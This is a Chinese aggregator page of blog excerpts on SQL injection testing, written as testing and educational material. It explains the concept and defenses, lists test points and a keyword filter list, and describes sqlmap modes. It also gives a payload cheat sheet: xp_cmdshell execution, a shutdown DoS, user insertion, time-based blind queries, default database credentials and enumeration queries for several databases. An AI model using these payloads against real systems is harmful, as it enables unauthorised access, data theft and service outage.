精华内容
下载资源
问答
  • 1. SQL注入的概念:1.1 概念: SQL注入就是将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的恶意SQL命令.1.2 SQL如何产生:1) WEB开发人员无法保证所有的输入都已经过滤2)数据库...

    1. SQL注入的概念:

    1.1 概念: SQL注入就是将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的恶意SQL命令.

    1.2 SQL如何产生:

    1) WEB开发人员无法保证所有的输入都已经过滤

    2) 数据库未做相应的安全配置

    3)攻击者利用发送给SQL服务器的输入参数构造可执行的SQL代码

    1.3 攻击方式: get请求、post请求、http头信息、cookie等

    1.4 如何预防(开发所做):

    1) 严格检查输入变量的类型和格式

    2) 过滤和转义特殊字符

    在username这个变量前进行转义,对‘、"、\等特殊字符进行转义,如:php中的addslashes()函数对username参数进行转义

    3) 利用mysql的预编译机制

    1.5 攻击例子:

    用户登录注入:

    用户输入账户跟密码之后相当于调用SQL语句进行数据库用户查询, 相当于:  SELECT * FROM user WHERE username = ‘user‘ ADN password = ‘pwd123‘

    当用户名输入改为:user‘--(单引号闭合user左边的单引号),密码随意输入,如:111,然后点击提交按钮, 等价于SQL语句:SELECT * FROM user WHERE username = ‘user‘--‘ADN password = ‘111‘

    这就导致了输入一个错误的密码或者不输入密码就可登录用户名为‘user‘的账号,这是一个危险的操作

    一个数字输入的注入:

    在浏览器搜索地址栏输入:https://www.baidu.com/baidu?tn=monline_3_dg&ie=utf-8&wd=123,这是一个get型接口,发送这个请求相当于调用一个查询语句:SELECT * FROM article WHERE id = 123

    当输入数据改为: https://www.baidu.com/baidu?tn=monline_3_dg&ie=utf-8&wd=-1 OR 1 =1 , 那么 id = -1永远是false,1=1永远是true,所有整个where语句永远是ture,所以where条件相当于没有加where条件,那么查询的结果相当于整张表的内容.

    2. SQL注入的测试点:

    2.1.输入域的值为数字型,用1=1,1=2法

    若满足条件,则存在SQL注入漏洞,程序没有对提交的整型参数的合法性做过滤或判断

    2.2.输入域的值为字符型,用 ’1=1’, ’1=2’ 法

    若满足条件,则存在SQL注入漏洞,程序没有对提交的字符型参数的合法性做过滤或判断

    2.3.输入域中的值为搜索型,用’and [查询条件] and ‘%’=’% 等

    若满足条件,则存在SQL注入漏洞,程序没有对提交的查询的合法性做过滤或判断

    2.4.用UNION查询语句

    利用Union可以连接查询,从而从其他表中得到信息

    2.5.大小写排查

    程序员对大小写的过滤不充分时,会忽视大小写混合的情况,容易存在漏洞

    2.6.用UNICODE字符集检查

    用UNICODE字符集转化的输入,会把+号转为%2B,把%号转化为%25等,容易忽略过滤

    2.7.用ASCII码检查

    把输入的字符用ASCII码代替,如a=char(97),容易忽略过滤

    2.8.用;号或—号检查

    分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,容易忽略过滤

    2.9.利用系统表

    通过查询数据库的系统表名,可判断具体用的数据库类型

    2.10.利用数据库服务器的系统变量user 等

    可以得到数据库名,数据库的用户名,从而进行进一步攻击

    2.11.利用相关函数

    若字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

    2.12.界面输入框中是否对SQL敏感字符进行了屏蔽

    "exec" ,"xp_","sp_","declare","Union","cmd","+","//","..",";","‘","--","%" 等命令关键字

    2.13.是否对SQL脚本语法出错信息进行了屏蔽

    有些SQL注入的目的就是为了看到报错的SQL命令,通过分析这些SQL命令,获取关键的数据库名,表名以及字段名等信息

    2.14.在浏览器的地址栏中是否对一些恒等表达式进行了屏蔽

    例如:https://www.baidu.com/baidu?tn=monline_3_dg&ie=utf-8&wd=19 and 1=1

    2.15.对于提交表单的浏览器地址是否进行了敏感字符或命令集的屏蔽

    2.16.对于cookie参数提交部分,是否对于cookie文件进行了敏感字符或命令集的屏蔽

    3. 自动化sql注入的工具Sqlmap

    Sqlmap是一款自动化sql注入的工具,其功能强大,支持多种数据库,包括mysql,sqlserver等主流的数据库,采用独特的sql注入方法来达到自动化注入扫描漏洞的目的。

    1)基于布尔的盲注(Type:boolean-based blind),即可以根据返回页面判断条件真假的注入

    2)基于时间的盲注(Type:time blind),即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断

    3)基于报错注入(Type:error-based),即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中

    4)联合查询注入(union query),可以使用union的情况下的注入

    5)堆查询注入,可以同时执行多条语句的执行时的注入

    展开全文
  • 0x00 前言现在很多WAF都能拦截sqlmap、havij 等注入工具的发包注入,所以这时我们需要在浏览器上使用hackerbar 进行手工注入,或者说是手工绕过注入攻击0x01 发现SQL 注入1 查询语法中断:单引号( ‘ ), 双引号( “ ...

    0x00 前言

    现在很多WAF都能拦截sqlmap、havij 等注入工具的发包注入,所以这时我们需要在浏览器上使用hackerbar 进行手工注入,或者说是手工绕过注入攻击

    0x01 发现SQL 注入

    1 查询语法中断:单引号(  ‘  ), 双引号( “  )

    2 SQL注释注入:双连字符  (-- ), 散列 (# ), 注释( /* )

    3 扩展/附加查询: 分号 (  ;  )

    4 注射/绕过过滤器:使用 CHAR(), ASCII(), HEX(), CONCAT(), CAST(), CONVERT(), NULL  来转换上面的注入字符

    0x02 常用的SQL注入命令

    1 Union注入:Union all select NULL (Multiple columns)

    2 命令执行:1;exec master..xp_cmdshell ‘dir’>C:\inetpub\wwwroot\dir.txt’ OR master.dbo.xp_cmdshell

    3 加载文件:LOAD_FILE(), User UTL_FILE and utfReadfileAsTable

    4 添加用户:1’; insert into users values(‘nto’,’nto123’)

    5 DOS攻击:1’;shutdown –

    6 获取字段: select name from syscolumns where id =(select id FROM sysobjects where name = ‘target table name’) – (Union can help)Co

    0x02 常用的SQL盲注命令

    1 快速检测:AND 1=1, AND 1=0

    2 查询用户:1+AND+USER_NAME()=’dbo’

    3 延时注入:1;waitfor+delay+’0:0:10’

    4 检查SA用户:SELECT+ASCII(SUBSTRING((a.loginame),1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=115

    5 跳转/休眠:BENCHMARK(TIMES, TASK), pg_sleep(10)

    0x03 数据库的默认用户名

    Oracle                  scott/tiger, dbsnmp/dbsnmp

    MySQL                  mysql/, root/

    PostgreSQL        postgres/

    MS-SQL               sa/

    DB2                     db2admin/db2admin

    0x04 常见的后台数据库SQL注入命令

    1 MySQL

    Grab                              @@version

    Users                            * from mysql.user

    Tables                         table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

    Database                    distinct(db) FROM mysql.db

    Columns                    table_schema, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ AND table_name == ‘’

    Running User               user()

    2 MS-SQL

    Grab version           @@version

    Users                      name FROM master..syslogins

    Tables                     name FROM master..sysobjects WHERE xtype = ‘U’

    Database                name FROM master..sysdatabases;

    Columns                name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘

    Running User        DB_NAME()

    3 Oracle

    Grab  version          table v$version compare with ‘Oracle%’

    Users                      * from dba_users

    Tables                      table_name from all_tables

    Database                distinct owner from all_tables

    Columns                 column_name from all_tab_columns where table_name=‘

    Running User        user from dual

    4 IBM DB2

    Grab version          Versionnumber from sysibm.sysversions;

    Users                      user from sysibm.sysdummy1

    Tables                    name from sysibm.systables

    Database               schemaname from syscat.schemata

    Columns                name, tbname, coltype from sysibm.syscolumns

    Running User        user from sysibm.sysdummy1

    5 PostgreSQL

    Grab version           version()

    Users                     * from pg_user

    Database                datname FROM pg_database

    Running User         user;

    链接是:https://blog.csdn.net/qq_29277155/article/details/51248089

    展开全文
  • sql注入测试脚本

    2012-03-17 23:54:42
    sql注入常用的测试语句大全,方便进行渗透测试和sql注入测试
  • 代码链接:https://github.com/PrivateThink/sqlinjection上述代码是用springboot搭建的测试环境,用来测试SQL注入,接下来所有的SQL系列讲述都会用到这个测试代码。有兴趣的可以下载下来跟着SQL注入系列教程进行...
    1. SQL注入-概念
    2. SQL注入-MySQL注入基础

    有了上述1、2的基础知识我们来看一个SQL注入的案列。

    代码链接:https://github.com/PrivateThink/sqlinjection

    上述代码是用springboot搭建的测试环境,用来测试SQL注入,接下来所有的SQL系列讲述都会用到这个测试代码。有兴趣的可以下载下来跟着SQL注入系列教程进行学习。

    当请求链接:

    http://localhost:8080/user/name?name=lingheng'

    时,数据库将会执行下面SQL语句:

    select * from t_person where Fname='lingheng''

    当参数name=lingheng' 时,上述的SQL语句是不规范的,所以会返回错误:

    ac87f073232076c8928248e1752398da.png

    注入时服务端返回错误

    由于SQL语句中多了一个单引号" ' ",数据库执行错误,服务器直接返回错误的信息。从上图的错误信息中可以清楚的看到执行的SQL语句,以及网站使用的数据为 MySQL , 错误的信息回显在网页上会给攻击者提供必要的攻击信息,方便攻击者构造SQL注入语句进行攻击。

    我是小图灵视界,会不定时更新互联网安全、互联网资源、互联网技术、以及互联网工具的文章,欢迎各位进行关注!

    SQL注入系列

    1. SQL注入-概念
    2. SQL注入-MySQL注入基础
    3. SQL注入-案例
    展开全文
  • 在上一篇文章《如何防范SQL注入-编程篇》中,我们讲了对于程序员而言,如何编码以防范代码存在SQL注入漏洞,那么,对于测试人员来说,如何测试SQL注入漏洞是否存在呢?首先,我们将SQL注入攻击能分为以下三种类型:...

    在上一篇文章《如何防范SQL注入-编程篇》中,我们讲了对于程序员而言,如何编码以防范代码存在SQL注入漏洞,那么,对于测试人员来说,如何测试SQL注入漏洞是否存在呢?

    首先,我们将SQL注入攻击能分为以下三种类型:

    Inband:数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页面上;

    Out-of-band:数据通过不同于SQL代码注入的方式获得(譬如通过邮件等)

    推理:这种攻击是说并没有真正的数据传输,但攻击者可以通过发送特定的请求,重组返回的结果从而得到一些信息。

    不论是哪种SQL注入,攻击者都需要构造一个语法正确的SQL查询,如果应用程序对一个不正确的查询返回了一个错误消息,那么就和容易重新构造初始的查询语句的逻辑,进而也就能更容易的进行注入;如果应用程序隐藏了错误信息,那么攻击者就必须对查询逻辑进行反向工程,即我们所谓的“盲SQL注入”

    黑盒测试及示例:

    这个测试的第一步是理解我们的应用程序在什么时候需要访问数据库,典型的需要访问数据库的时机是:

    认证表单:输入用户名和密码以检查是否有权限

    搜索引擎:提交字符串以从数据库中获取相应的记录

    电子商务站点:获取某类商品的价格等信息

    作为测试人员,我们需要列对所有输入域的值可能用于查询的字段做一个表单,包括那些POST请求的隐含字段,然后截取查询语句并产生错误信息。第一个测试往往是用一个单引号“‘”或是分号“;”,前者在SQL中是字符串终结符,如果应用程序没有过滤,则会产生一条错误信息;后者在SQL中是一条SQL语句的终结符,同样如果没有过滤,也会产生错误信息。在Microsoft SQL Server中,返回的错误信息一般是这样:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

    [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ‘’.

    /target/target.asp, line 113

    同样可用于测试的还有“--”以及SQL中的一些诸如“AND”的关键字,通常很常见的一种测试是在要求输入为数字的输入框中输入字符串,会返回如下的错误信息:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘tester’ to a column of data type int.

    /target/target.asp, line 113

    类似上面这样的出错返回信息能让我们知道很多数据库的信息,通常不会返回那么多信息,会返回诸如“500 Server Error”的信息,那就需要“盲SQL注入”了。注意,我们需要对所有可能存在SQL注入漏洞的输入域进行测试,并且在每个测试用例时只变化一个域的值,从而才能找到真正存在漏洞的输入域。

    41/41234>

    展开全文
  • SQL注入测试

    2019-05-23 22:09:32
    SQL注入测试 SQL注入就是通过把SQL命令插入Web表单提交或输入域名页面请求的查询字符串, 最终达到欺骗服务器执行恶意的SQL命令的目的。具体来说,它是利用现有应用程序,将 (恶意)SQL命令注入后台数据库引擎...
  • 转载自Cracer,标题:《渗透常用SQL注入语句大全》,链接http://www.xxxx.com/?p=2226 1.判断有无注入点 整形参数判断 1、直接加' 2、and 1=1 3、 and 1=2 如果1、3运行异常 2正常就存在注入字符型判断 1、...
  • 1、返回的是连接的数据库名and db_name()>...03、将数据库备份到Web目录下面;backup database 数据库名 to disk='c:\...--4、显示SQL系统版本and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判...
  • SQL注入语句-手工测试

    2019-10-08 09:54:35
    准备工作:先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾... 数字型:and 1=1 and 1=2 判断是否存在注入字符型:' and '1'='1 ' and '1'='2搜索型: 关键字%' and 1=1 and...
  • 简介SQL 注入是一种专门针对SQL语句的攻击方式。通过把SQL命令插入到web表单提交、输入域名或者页面请求的查询字符串中,利用现有的程序,来非法获取后台的数据库中的信息。在web的测试中涉及到的会比较多些。注入...
  • SQL注入测试的测试点

    2021-01-11 16:38:19
    SQL注入测试的测试点 1.输入域的值为数字型,用1=1,1=2法 若满足条件,则存在SQL注入漏洞,程序没有对提交的整型参数的合法性做过滤或判断 2.输入域的值为字符型,用 ’1=1’, ’1=2’ 法 若满足条件,则存在SQL注入...
  • 安全性测试是指机密的数据确保其机密性以及用户只能在其被授权的范围进行操作的这样一个过程...SQL Injection( SQL 注入)Cross-site script(XSS) (跨站点脚本攻击)CSRF (跨站点伪造请求)URL跳转Directory Traversal ...
  • 在进行java web 测试的时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,随便不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还是还是值得...
  • 在写登录注册的时候发现了SQL和JS注入这个危害网站的用户举动:测试方法:SQL注入:1 先来做一个测试:2 用户名:’ or 1 #3 密码:随便写8位以上4 验证码:写正确好吧,就那么简单就进去了:概念如果用户在填写表单...
  • 1. SQL注入的概念:1.1 概念: SQL注入就是将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的恶意SQL命令.1.2 SQL如何产生:1) WEB开发人员无法保证所有的输入都已经过滤2)数据库...
  • 常用SQL注入语句

    2010-08-08 17:03:31
    在对web应用进行***测试时,SQL注入无疑是最重要的检测项之一,下面就对常用的SQL注入语句进行一个归纳总结,便于在进行*** 测试时使用。 1.判断有无注入点; and 1=1 and 1=2 2.猜表一般的表的名称无非是a...
  • 访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试。 insert语句: INSERT INTO 【users】 (【username】, isadmin) VALUES (【'1'】, 【0】) 接收的参数可能拼接到上述...
  • 前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试。 一条完成Select语句,大致可以这样表示: SELECT 【username】 FROM ...
  • Sql注入测试一定要使用工具。原因一:工作效率;原因二:人工很难构造出覆盖面广的盲注入的sql语句。例如当一个查询的where字句包含了多个参数,or and的关系比较多时,简单的or 1=1, and 1=2是很难发现注入点的。...
  • 访问首页的update模块http://127.0.0.1/sql/update.php,开始对update模块进行测试。 update语法: UPDATE 【users】 SET 【username】 = 【'haxotron9000'】 WHERE username = 【'1'】 接收的参数可能拼接到...
  • —For sql注入靶机测试>>SQL注入分类UNION query SQL injection(可联合查询注入)Boolean-based blind SQL injection(布尔型注入)Error-based SQL injection(报错型注入)Stacked queries SQL injection(可多...
  • SQL注入测试平台SQLol

    2012-04-02 15:11:00
    SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句。 工具地址:https://github.com/SpiderLabs/SQLol/ 转载于:...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 929
精华内容 371
关键字:

sql注入测试语句